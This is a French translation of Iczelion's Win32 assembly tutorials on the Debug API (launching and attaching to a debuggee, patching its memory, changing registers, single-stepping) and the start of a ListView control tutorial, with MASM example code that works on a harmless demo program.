invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi
.while TRUE
   invoke WaitForDebugEvent, addr DBEvent, INFINITE
   .if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
       invoke MessageBox, 0, addr ExitProc, addr AppName, MB_OK+MB_ICONINFORMATION
       .break
   .elseif DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
       invoke wsprintf, addr buffer, addr ProcessInfo, DBEvent.u.CreateProcessInfo.hFile, DBEvent.u.CreateProcessInfo.hProcess, DBEvent.u.CreateProcessInfo.hThread, DBEvent.u.CreateProcessInfo.lpBaseOfImage, DBEvent.u.CreateProcessInfo.lpStartAddress
       invoke MessageBox,0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION
   .elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
       .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
          invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
         .continue
       .endif
   .elseif DBEvent.dwDebugEventCode==CREATE_THREAD_DEBUG_EVENT
       invoke MessageBox,0, addr NewThread, addr AppName, MB_OK+MB_ICONINFORMATION
   .elseif DBEvent.dwDebugEventCode==EXIT_THREAD_DEBUG_EVENT
       invoke MessageBox,0, addr EndThread, addr AppName, MB_OK+MB_ICONINFORMATION
   .endif
   invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw
invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread
.endif
invoke ExitProcess, 0
end start

Analyse:

Le programme remplit la structure OPENFILENAME et appelle ensuite GetOpenFileName pour laisser l'utilisateur choisir un programme à debugger.

invoke GetStartupInfo,addr startinfo
invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi

Quand l'utilisateur en a choisi un, on appelle CreateProcess pour charger ce programme. on appelle GetStartupInfo pour remplir la structure STARTUPINFO avec ses valeurs par défaut. Remarquez que nous employons debug_PROCESS combiné avec le flag debug_ONLY_THIS_PROCESS pour ne debugger que ce programme, et ne pas toucher à ses Child Process.

.while TRUE
   invoke WaitForDebugEvent, addr DBEvent, INFINITE

Quand le debugger est activé, nous entrons dans la boucle de debugging infinie, en appelant WaitForDebugEvent.WaitForDebugEvent ne retournera pas avant qu'un 'debugging événement' ne soit arrivé dans le debugger parce que nous avons mis INFINITE en tant que deuxième paramètre. Quand un 'debugging événement' est arrivé, WaitForDebugEvent retourne et 'DBEvent' (DB-Event) est rempli de l'information avec le 'debugging événement'.

   .if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
       invoke MessageBox, 0, addr ExitProc, addr AppName, MB_OK+MB_ICONINFORMATION
       .break

Nous vérifions d'abord la valeur dans dwDebugEventCode. Si c'est EXIT_PROCESS_DEBUG_EVENT, nous affichons une MessageBox disant "The debuggee exits" et ensuite on sort de la boucle de debugging.

   .elseif DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
       invoke wsprintf, addr buffer, addr ProcessInfo, DBEvent.u.CreateProcessInfo.hFile, DBEvent.u.CreateProcessInfo.hProcess, DBEvent.u.CreateProcessInfo.hThread, DBEvent.u.CreateProcessInfo.lpBaseOfImage, DBEvent.u.CreateProcessInfo.lpStartAddress
       invoke MessageBox,0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION

Si la valeur dans dwDebugEventCode est CREATE_PROCESS_DEBUG_EVENT, alors nous affichons plusieurs informations intéressantes à propos du debuggee dans une MessageBox. Nous obtenons ces informations de u.CreateProcessInfo. CreateProcessInfo est une structure de type CREATE_PROCESS_DEBUG_INFO. Vous pouvez obtenir plus de renseignements sur cette structure en regardant votre référence Win32 API.

   .elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
       .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
          invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
         .continue
       .endif

Si la valeur dans dwDebugEventCode est EXCEPTION_DEBUG_EVENT, nous devons vérifier plus loin si le type d'exception est exact. C'est une longue ligne de références emboîtées mais vous pouvez obtenir le type d'exception grâce au membre ExceptionCode. Si la valeur dans ExceptionCode est EXCEPTION_BREAKPOINT et que c'est la première fois (ou bien que nous sommes sûrs que le debugger ne s'est jamais servit de l'interruption 3H du Dos (int 3h)), alors nous pouvons dire sans risque que cette exception s'est produite lorsque le debugger a voulut exécuter sa toute première instruction. Quand on en a fini avec le traitement de cette exception, nous devons appeler ContinueDebugEvent avec le Flag DBG_CONTINUE pour permettre au debugger de reprendre là où il s'était arrêté. Après ça, nous retournons pour attendre le prochain 'debugging événement'.

   .elseif DBEvent.dwDebugEventCode==CREATE_THREAD_DEBUG_EVENT
       invoke MessageBox,0, addr NewThread, addr AppName, MB_OK+MB_ICONINFORMATION
   .elseif DBEvent.dwDebugEventCode==EXIT_THREAD_DEBUG_EVENT
       invoke MessageBox,0, addr EndThread, addr AppName, MB_OK+MB_ICONINFORMATION
   .endif

Si la valeur dans dwDebugEventCode est CREATE_THREAD_DEBUG_EVENT ou bien EXIT_THREAD_DEBUG_EVENT, on affiche une MessageBox disant que le lien est créé ou bien détruit.

invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
.endw

Excepté pour le cas EXCEPTION_debug_EVENT, vu au-dessus, nous appelons ContinueDebugEvent avec le flag DBG_EXCEPTION_NOT_HANDLED pour reprendre le cours du debugger.

invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread

Quand le debugger Exite, nous sommes déjà en dehors de la boucle de debugging et devons fermer à la fois le processus du debugger et les handles de ses liens. La simple fermeture de ses handles ne signifie pas que nous détruisons le rapport process/lien. Ça signifie seulement que nous ne souhaitons plus désormais employer ces handles pour faire la relation entre process et lien.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 29: Win32 Debug API part 2

Tutorial 29: Win32 Debug API Partie 2/3

Nous continuons sur le sujet , soit : 'de debug win32 API'. Dans ce tutorial, nous allons voir comment modifier le process du debuggee.
Downloadez l'exemple.

Théorie:

Dans le tutorial précédent, nous avons vu comment charger le debuggee et gérer les événements de debug qui arrivent dans son process. Pour être utile, notre programme doit être capable de modifier le process de debuggee. Il existe plusieurs APIs pour faire ça.

  • ReadProcessMemory Cette fonction vous permet de lire la mémoire dans le process désigné. Son prototype de fonction est le suivant :

    ReadProcessMemory proto hProcess:DWORD, lpBaseAddress:DWORD, lpBuffer:DWORD, nSize:DWORD, lpNumberOfBytesRead:DWORD

    hProcess est l'handle du process dans lequel vous souhaitez effectuer votre lecture.
    lpBaseAddress est l'adresse de départ dans le process cible où vous voulez commencer votre lecture. Par exemple, si vous voulez lire 4 octets du process de debuggee commençant à l'offset 401000, la valeur dans ce paramètre doit être 401000.
    lpBuffer est l'adresse du buffer qui recevra les octets qu'on va lire dans le process.
    nSize est le nombre d'octets que vous souhaitez lire.
    lpNumberOfBytesRead est l'adresse de la variable (de taille dword) qui reçoit le numéro d'octets qu'on aura réellement lus. Si vous vous en foutez, vous pouvez employer un NULL.

  • WriteProcessMemory est un homologue de ReadProcessMemory. Ça vous permet d'écrire dans la mémoire du process cible. Ses paramètres sont exactement les mêmes que ceux de ReadProcessMemory.

    Les deux fonctions API suivantes ont besoin d'une petite explication quant à leur utilisation. Dans un OS multi-taches tel que Windows, on peut avoir plusieurs programmes tournant en même temps. Windows donne un temps d'activité restreint à chacun d'eux. Quand ce temps d'activité expire, Windows gèle le programme qui était en train de tourner et passe au programme suivant qui prend maintenant la priorité la plus haute. juste avant de commuter sur ce nouveau programme, Windows a sauvegardé les valeurs du premier dans les Registres de lien (du premier) pour qu'au moment où il est temps de reprendre le lien, Windows puisse rétablir l'ancien *environnement* de ce lien. Les valeurs des Registres sauvegardés, représentent un ensemble qu'on appelle un contexte.
    Revenons à notre sujet. Lorsqu'un événement de debug arrive, Windows suspend le debuggee. Le contexte du debuggee est sauvegardé. Puisque le debuggee est suspendu, on est sûrs que les valeurs dans le contexte resteront inchangées. Nous pouvons obtenir les valeurs dans le contexte grâce à GetThreadContext et nous pouvons les changer avec SetThreadContext.
    Ces deux APIs sont extrêmement puissantes. Avec elles, on a à notre portée la puissance du VxD du debuggee : on peut changer les valeurs des registres sauvegardés, et juste avant que le debuggee ne reprenne son exécution, on récupère les anciennes valeurs du contexte de nouveau dans les Registres. Quelque soit les changements qu'on a fait au contexte est renvoyé en arrière au debuggee, il s'aperçoit de tout. Pensez-y : on peut même changer la valeur du Registre EIP et ainsi détourner le flux exécution n'importe où, où on le souhaite! C'est à dire, l'EIP représente à chaque instant la ligne du programme qui est en train d'être lue par l'ordinateur. De fil en aiguille on avance dans la lecture du programme ligne par ligne. Maintenant, si on est capable de changer la valeur du registre EIP, on peut sauté vraiment où on veut. Alors que normalement c'est l'ordinateur et personne d'autre qui contrôle l'EIP. C'est quelque chose qu'on serait bien incapable de faire en temps normal.

    GetThreadContext proto hThread:DWORD, lpContext:DWORD

    hThread est l'handle du lien que vous voulez obtenir dans le context
    lpContext est l'adresse de la structure CONTEXT qui sera remplie, lorsque cette fonction retourne avec succès.

    SetThreadContext a exactement les mêmes paramètres. On va voir à quoi ressemble une structure de CONTEXT :

  • CONTEXT STRUCT
  • ContextFlags dd ?
    ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_DEBUG_REGISTERS
  • ;-----------------------------------------------------------------------------------------------------------
    iDr0 dd ?
    iDr1 dd ?
    iDr2 dd ?
    iDr3 dd ?
    iDr6 dd ?
    iDr7 dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_FLOATING_POINT
  • ;-----------------------------------------------------------------------------------------------------------
  • FloatSave FLOATING_SAVE_AREA <>
  • ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_SEGMENTS
  • ;-----------------------------------------------------------------------------------------------------------
  • regGs dd ?
    regFs dd ?
    regEs dd ?
    regDs dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_INTEGER
  • ;-----------------------------------------------------------------------------------------------------------
  • regEdi dd ?
    regEsi dd ?
    regEbx dd ?
    regEdx dd ?
    regEcx dd ?
    regEax dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_CONTROL
  • ;-----------------------------------------------------------------------------------------------------------
  • regEbp dd ?
    regEip dd ?
    regCs dd ?
    regFlag dd ?
    regEsp dd ?
    regSs dd ?
  • ;----------------------------------------------------------------------------------------------------------
    ; Cette section est renvoyée si ContextFlags contient la valeur CONTEXT_EXTENDED_REGISTERS
  • ;-----------------------------------------------------------------------------------------------------------
  • ExtendedRegisters db MAXIMUM_SUPPORTED_EXTENSION dup(?) CONTEXT ENDS

    Comme vous pouvez le voir, les membres de ces structures sont des imitations des Registres réels du processeur. Avant que vous ne puissiez employer cet artifice, vous devez indiquer quels groupes de Registres vous souhaitez lire/écrire dans le membre ContextFlags. Par exemple, si vous voulez lire/écrire tous les Registres, vous devez mettre le membre CONTEXT_FULL dans la structure ContextFlags. Si vous voulez seulement lire/écrire regEbp, regEip, regCs, regFlag, regEsp ou regSs, vous devez mettre le membre CONTEXT_CONTROL dans ContextFlags.

    Encore une chose que vous devez vous rappeler, en employant la structure CONTEXT: elle doit absolument fonctionner avec des modèles dword sinon vous obtiendriez des résultats étranges sous NT. Vous devez mettre "align dword" juste au-dessus de la ligne qui la déclare, de cette façon :

    align dword
    MyContext CONTEXT <>

Exemple:

Ce premier exemple sert à montrer comment on utilise un Debugger de type un ActiveProcess. D'abord, on doit lancer une cible qui s'appelle win.exe, ce programme est une boucle infinie qui tourne en rond sans pouvoir en sortir et on ne peut donc pas arriver à son autre fonction (qui est juste après) qui affiche une fenêtre à l'écran. A partir de là, on lance notre exemple (appelé debug2.exe), il s'attachera à win.exe et modifiera son code tel que win.exe puisse sortir de sa boucle infinie et ainsi il affichera sa fenêtre.

Si ça ressemble pas à un Memory-Patch çà... :)

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib

.data
AppName db "Win32 Debug Example no.2",0
ClassName db "SimpleWinClass",0
SearchFail db "Cannot find the target process",0
TargetPatched db "Target patched!",0
buffer dw 9090h

.data?
DBEvent DEBUG_EVENT <>
ProcessId dd ?
ThreadId dd ?
align dword
context CONTEXT <>

.code
start:
invoke FindWindow, addr ClassName, NULL
.if eax!=NULL
    invoke GetWindowThreadProcessId, eax, addr ProcessId
    mov ThreadId, eax
    invoke DebugActiveProcess, ProcessId
    .while TRUE
       invoke WaitForDebugEvent, addr DBEvent, INFINITE
       .break .if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
       .if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
          mov context.ContextFlags, CONTEXT_CONTROL
          invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
          invoke WriteProcessMemory, DBEvent.u.CreateProcessInfo.hProcess, context.regEip ,addr buffer, 2, NULL
          invoke MessageBox, 0, addr TargetPatched, addr AppName, MB_OK+MB_ICONINFORMATION
       .elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT
          .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
             invoke ContinueDebugEvent, DBEvent.dwProcessId,DBEvent.dwThreadId, DBG_CONTINUE
             .continue
          .endif
       .endif
       invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
   .endw
.else
    invoke MessageBox, 0, addr SearchFail, addr AppName,MB_OK+MB_ICONERROR .endif
invoke ExitProcess, 0
end start

;--------------------------------------------------------------------
; Le code source de win.asm est en réalité une simple fenêtre comme
; celle de l'exemple du tutorial 2 avec une boucle infinie insérée
; juste avant qu'on ne puisse arriver jusqu'à elle (la fenêtre).
;----------------------------------------------------------------------

......
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
INVOKE CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\ CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,\ hInst,NULL
mov hwnd,eax
jmp $ ;<---- Voici notre boucle infinie. Elle boucle sur elle-même.
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.while TRUE
   invoke GetMessage, ADDR msg,NULL,0,0
   .break .if (!eax)
   invoke TranslateMessage, ADDR msg
   invoke DispatchMessage, ADDR msg
.endw
mov eax,msg.wParam
ret
WinMain endp

Analyse:

invoke FindWindow, addr ClassName, NULL

Notre programme a besoin de s'attacher au debuggee avec DebugActiveProcess lequel a besoin de l'ID du process du debuggee. Nous pouvons obtenir l'ID du process en appelant GetWindowThreadProcessId qui a à son tour à besoin de l'handle de la fenêtre en tant que paramètre. Donc nous avons d'abord besoin d'obtenir cet handle.
Avec FindWindow, nous pouvons spécifier le nom de la Window Class (classe de fenêtre) dont nous avons besoin. Il renvoie l'handle de la fenêtre créée par cette Window Class. S'il renvoie un NULL, aucune fenêtre de cette classe n'est présente.

.if eax!=NULL
    invoke GetWindowThreadProcessId, eax, addr ProcessId
    mov ThreadId, eax
    invoke DebugActiveProcess, ProcessId

Après avoir obtenu l'ID du process, nous pouvons appeler DebugActiveProcess. Comme ça, nous passons à la boucle de debug attendant les événements de debug.

       .if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
          mov context.ContextFlags, CONTEXT_CONTROL
          invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context

Quand on arrive à la partie du programme qui contient la ligne CREATE_PROCESS_debug_INFO, ça signifie que le debuggee est suspendu, disponible pour que nous puissions faire l'acte de chirurgie en son process. Dans cet exemple, nous remplaçons l'instruction de la boucle infinie dans le debuggee (qui est un Jmp codé en langage machine par 0EBh 0FEh) par deux NOP (90h 90h).
D'abord, nous avons besoin d'obtenir l'adresse où se situe cette instruction (ce Jmp). Puisque le debuggee est déjà dans la boucle au moment où notre programme est attaché à lui, alors EIP indique forcément l'adresse de cette instruction. Tout ce que nous avons besoin de faire, c'est de récupérer la valeur de EIP. On utilise GetThreadContext pour faire ça. Nous plaçons le membre ContextFlags dans le CONTEXT_CONTROL pour indiquer à GetThreadContext que nous souhaitons qu'il remplisse les Registres de "control" avec les membres de la structure CONTEXT. Ainsi par exemple EIP sera récupéré dans notre Registre de Control appelé regEip.

invoke WriteProcessMemory, DBEvent.u.CreateProcessInfo.hProcess, context.regEip ,addr buffer, 2, NULL

Maintenant que nous avons la valeur de l'EIP, nous pouvons appeler WriteProcessMemory pour récrire par dessus l'instruction "jmp $" avec NOP, ainsi on aura aidé efficacement le debuggee à sortir de sa boucle infinie. Après ça, nous affichons un message destiné à l'utilisateur et appelons ensuite ContinueDebugEvent pour reprendre le debuggee. Maintenant que l'instruction "jmp $" est remplacée par deux instructions NOP, le debuggee est capable de continuer jusqu'à atteindre l'affichage de sa fenêtre et du message. La preuve, c'est que nous verrons apparaître cette fenêtre à l'écran.

L'autre exemple (Debug3.exe) utilise une approche un peu différente pour casser la boucle infinie.

.......
.......
.if DBEvent.dwDebugEventCode==CREATE_PROCESS_DEBUG_EVENT
   mov context.ContextFlags, CONTEXT_CONTROL
   invoke GetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
   add context.regEip,2
   invoke SetThreadContext,DBEvent.u.CreateProcessInfo.hThread, addr context
   invoke MessageBox, 0, addr LoopSkipped, addr AppName, MB_OK+MB_ICONINFORMATION
.......
.......

Comme pour l'exemple précédent on appelle toujours GetThreadContext pour obtenir la valeur actuelle de l'EIP, mais au lieu de l'action : 'effacer la boucle du "jmp$" avec deux instructions NOP (pour briser la boucle), ici on incrémente la valeur de regEip par 2 (regEip-->EIP+2) grâce à l'instruction "skip over". Le résultat, c'est que lorsque le debuggee reprend le contrôle, il reprend son exécution à l'instruction suivante, juste après le "jmp$". Donc on ne détruit pas la boucle mais on passe par dessus. Vous allez me dire pourquoi +2 ! le saut 'jmp' est codé en langage machine sur deux octets (EB et FE ou 0EBh 0FEh) donc quand l'EIP est sur le 'jmp' on est sur EB si on ajoute 2 à l'EIP, on passe sur EB puis sur FE et donc on arrive à ce qui suit le jmp donc à l'instuction suivante. On vient de sauter par dessus !

Maintenant vous comprenez la puissance de 'Get & SetThreadContext'. Vous pouvez aussi modifier d'autres Registres et leurs valeurs seront ensuite rétablies après le passage du debuggee. Vous pouvez même insérer l'instruction 'int 3h' lequel sert à placer des Break Points dans le programme qu'on est en train de debugger.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 30: Win32 Debug API part 3

Tutorial 30: Win32 Debug API partie 3/3

Dans ce tutorial, nous allons continuer l'exploration de debug win32 api. Et spécialement, nous allons voir comment tracer le debuggee.
Downloadez l'exemple.

Théorie:

Si vous avez déjà utilisé un débugger auparavant, vous êtes familiers avec le fait de tracer un autre programme grâce à lui. Quand vous "tracez" un programme, les Break Points sur n'importe quelle instruction, vous donne la chance d'examiner les valeurs des Registres et des mémoires. Le fait de tracer un programme, on appelle ça officiellement 'Single-stepping'.
Plus concrètement, tracer un programme c'est exécuter une ligne d'instruction du programme cible puis voir ce que ça produit,( ou bien regarder les valeurs des Registres ou des mémoires qui viennent de changer) puis passer à la ligne suivante et encore voir ce qu'elle fait et ainsi de suite pour comprendre comment fonctionne le programme. Seul un debugger est capable de faire ça.
Le traçage (ou 'Single-stepping') a la particularité d'être générer pas le CPU lui-même. (Le CPU c'est l'organe de calcul de l'ordinateur, son coeur). Le 8ème bit du flag 'REGISTER' est appelé le Trap Flag. Si ce flag est mis à 1, le CPU fonctionne en mode pas à pas ou traçage, c'est pareil, enfin bon en 'Single-stepping'. Le CPU produira une exception de debug pour le stopper après chaque instruction. Après que l'exception de debug soit produite, le 'Trap Flag' est automatiquement purifié.
Nous pouvons aussi tracer le debuggee, en employant les API win32 debug. Les étapes sont les suivantes :

  1. Call GetThreadContext, specifying CONTEXT_CONTROL in ContextFlags, to obtain the value of the flag register.
  2. Mettez le Trap Bit dans le membre regFlag de la structure CONTEXT.
  3. Appellez SetThreadContext
  4. Comme d'habitude, attendez qu'un événement de debug se produise. Le debuggee s'exécutera en mode single-step. Après qu'il exécute chaque instruction, nous obtiendrons l'événement suivant : EXCEPTION_DEBUG_EVENT, et avec la valeur EXCEPTION_SINGLE_step dans u.Exception.pExceptionRecord.ExceptionCode nous pourrons tracer pas à pas.
  5. Si vous avez besoin de tracer (donc d'arrêter) l'instruction suivante, vous avez besoin de remettre le trap bit de nouveau.

Exemple:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib
includelib \masm32\lib\user32.lib

.data
AppName db "Win32 Debug Example no.4",0
ofn OPENFILENAME <>
FilterString db "Executable Files",0,"*.exe",0
             db "All Files",0,"*.*",0,0
ExitProc db "The debuggee exits",0Dh,0Ah
         db "Total Instructions executed : %lu",0
TotalInstruction dd 0

.data?
buffer db 512 dup(?)
startinfo STARTUPINFO <>
pi PROCESS_INFORMATION <>
DBEvent DEBUG_EVENT <>
context CONTEXT <>

.code
start:
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
    invoke GetStartupInfo,addr startinfo
    invoke CreateProcess, addr buffer, NULL, NULL, NULL, FALSE, DEBUG_PROCESS+ DEBUG_ONLY_THIS_PROCESS, NULL, NULL, addr startinfo, addr pi
    .while TRUE
       invoke WaitForDebugEvent, addr DBEvent, INFINITE
       .if DBEvent.dwDebugEventCode==EXIT_PROCESS_DEBUG_EVENT
          invoke wsprintf, addr buffer, addr ExitProc, TotalInstruction
          invoke MessageBox, 0, addr buffer, addr AppName, MB_OK+MB_ICONINFORMATION
          .break
       .elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT           .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT
             mov context.ContextFlags, CONTEXT_CONTROL
             invoke GetThreadContext, pi.hThread, addr context
             or context.regFlag,100h
             invoke SetThreadContext,pi.hThread, addr context
             invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
             .continue
          .elseif DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_SINGLE_STEP
             inc TotalInstruction
             invoke GetThreadContext,pi.hThread,addr context or context.regFlag,100h
             invoke SetThreadContext,pi.hThread, addr context
             invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId,DBG_CONTINUE
             .continue
          .endif
       .endif
       invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_EXCEPTION_NOT_HANDLED
    .endw
.endif
invoke CloseHandle,pi.hProcess
invoke CloseHandle,pi.hThread
invoke ExitProcess, 0
end start

Analyse:

Ce programme ouvre une boîte de dialogue openfile. Quand l'utilisateur choisit un fichier exécutable, il exécute le programme cible en mode single-step (tracage pas à pas), et il compte le numéro d'instructions exécutées jusqu'à la sortie de ce programme cible.

       .elseif DBEvent.dwDebugEventCode==EXCEPTION_DEBUG_EVENT           .if DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_BREAKPOINT

Nous en profitons pour faire fonctionner le programme cible en mode single-step. Souvenez-vous que Windows envoie un EXCEPTION_BREAKPOINT juste avant qu'il n'exécute la première instruction du prog cible.

             mov context.ContextFlags, CONTEXT_CONTROL
             invoke GetThreadContext, pi.hThread, addr context

On appelle GetThreadContext pour remplir la structure CONTEXT avec les valeurs actuelles des Registres du debuggee. Plus spécifiquement, nous avons besoin de la valeur actuelle du flag REGISTER.

             or context.regFlag,100h

Nous mettons le trap bit (le 8ème bit) dans l'image du flag REGISTER.

             invoke SetThreadContext,pi.hThread, addr context
             invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId, DBG_CONTINUE
             .continue

Then we call SetThreadContext to overwrite the values in the CONTEXT structure with the new one(s) and call ContinueDebugEvent with DBG_CONTINUE flag to resume the debuggee.

          .elseif DBEvent.u.Exception.pExceptionRecord.ExceptionCode==EXCEPTION_SINGLE_STEP
             inc TotalInstruction

Quand une instruction est exécutée dans le debuggee, nous recevons un EXCEPTION_DEBUG_EVENT. Nous devons examiner la valeur de u.Exception.pExceptionRecord.ExceptionCode. Si la valeur est EXCEPTION_SINGLE_step, alors cet événement de debug s'est produit à cause du mode Pas à Pas (single-step). Dans ce cas, nous pouvons incrémenter la variable TotalInstruction car nous savons qu'une seule et unique instruction vient d'être exécutée dans le programme cible.

             invoke GetThreadContext,pi.hThread,addr context or context.regFlag,100h
             invoke SetThreadContext,pi.hThread, addr context
             invoke ContinueDebugEvent, DBEvent.dwProcessId, DBEvent.dwThreadId,DBG_CONTINUE
             .continue

Après que l'exception de debug soit arrivée on enlève (on purifie) le 'trap flag'. On doit remettre le trap flag de nouveau si on souhaite continuer en mode Pas à Pas (single-step).
Avertissement : n'employez pas l'exemple dans ce tutorial avec un grand programme : le traçage est LENT. Il vous faudrait attendre pendant dix minutes avant que vous ne puissiez fermer le debuggee.

[Iczelion's Win32 Assembly Homepage]

Taduit par Morgatte


Iczelion's Win32 Assembly Tutorial 31: ListView Control

Tutorial 31: Fichiers organisés sous la forme d'une liste
(Listview Control)

Dans ce tutorial, nous allons voir comment créer et employer un listview control.

Downloadez l'exemple.

Théorie:

Un listview control est aussi un 'common controls' (tutorial 18) tout comme le treeview (tutorial 19), richedit etc. En fait vous l'utilisez couramment sans même connaître son nom. Par exemple, la fenêtre de droite de l'Explorateur Windows est un listview control. Un listview control sert à afficher sous forme d'une liste un groupe de fichiers. En fait, c'est un peu comme une liste, mais avec certaines capacités en plus.
Vous pouvez créer un listview control de deux façons. La première méthode est aussi la plus simple : créez-le avec un éditeur de ressource. Simplement, n'oubliez pas ensuite d'appeler InitCommonControls dans votre code asm source. L'autre méthode c'est d'appeler CreateWindowEx dans votre code source. Vous devez spécifier le nom de la 'Window Class' (classe de fenêtre) correcte de ce control, c'est-à-dire SysListView32. La 'Window Class' "WC_LISTVIEW" n'est pas correcte.
Il y a quatre types de vues des données, dans un listview control : une vue sous forme d'icônes, de petites icônes, sous forme de texte inscrit et des vues sous forme de détails. Vous pouvez voir les exemples de ces vues en choisissant Affichage->Grandes icônes (la vue d'icônes), Affichage->Petites icônes (la vue en petites icônes), Affichage-> Liste (la vue de la liste) et Affichage-> Détails (la vue sous forme de détails). Ces vues sont juste une méthode de représentation des données : Elles affectent seulement la présentation des données. Par exemple, vous pouvez avoir beaucoup de données dans un listview control, mais si vous préférez, vous pouvez voir certaines d'entre elles. La vue détail est la plus informative alors que les vues restantes donnent moins de renseignements. Vous pouvez spécifier la vue que vous voulez quand vous créez un listview control. Vous pourrez même changer de vue plus tard en appelant SetWindowLong, en spécifiant flag GWL_STYLE.

Maintenant que nous savons comment créer un listview control, nous continuerons pour voir comment on peut l'employer. Je me concentrerai de la vue sous forme de détails qui fait appelle à pas mal des particularités du listview control. Les étapes dans l'utilisation d'un listview control sont les suivantes :

  1. Créez le listview control avec CreateWindowEx, et indiquez SysListView32 comme class name. Vous pouvez spécifier la vue initiale à ce niveau là.
  2. (Si elles existes) Créez et initialisez des listes d'images (Tutorial 19) pour les associer aux noms des fichiers du listview.
  3. Insérez des colonnes dans listview control. Cette étapes est nécessaire si votre listview control emploie la vue 'détails'. Explication : revenez sous l'Explorateur Windows et mettez vous en vue 'détails'. Vous voyez bien qu'il y a plusieurs colonnes, une pour le nom des fichiers, une autre pour leur date de création, une pour leur emplacement sur votre Ddur.
  4. Insérez des items et des sous-items dans votre listview control. ex: Nom, Taille ,Type ,Modifier...

Colonnes

Dans la vue 'détails', il y a une ou plusieurs colonnes. Ces données qui sont mises dans différentes colonnes (en vue détails), représentes en fait un tableau de données : les données sont arrangées dans des rangées et des colonnes. Vous devez avoir au moins une colonne dans votre listview control (uniquement vrai pour la vue 'détails'). Pour les autres vues, vous n'avez pas besoin d'insérer de colonne parce qu'il nous faut une et seulement une seule colonne pour ces vues là.
Vous pouvez insérer une colonne en envoyant LVM_INSERTCOLUMN au listview control.

LVM_INSERTCOLUMN
wParam = iCol (nombre de colonnes)
lParam = pointe sur la structure LV_COLUMN

iCol est le nombre de colonnes, en partant de 0.
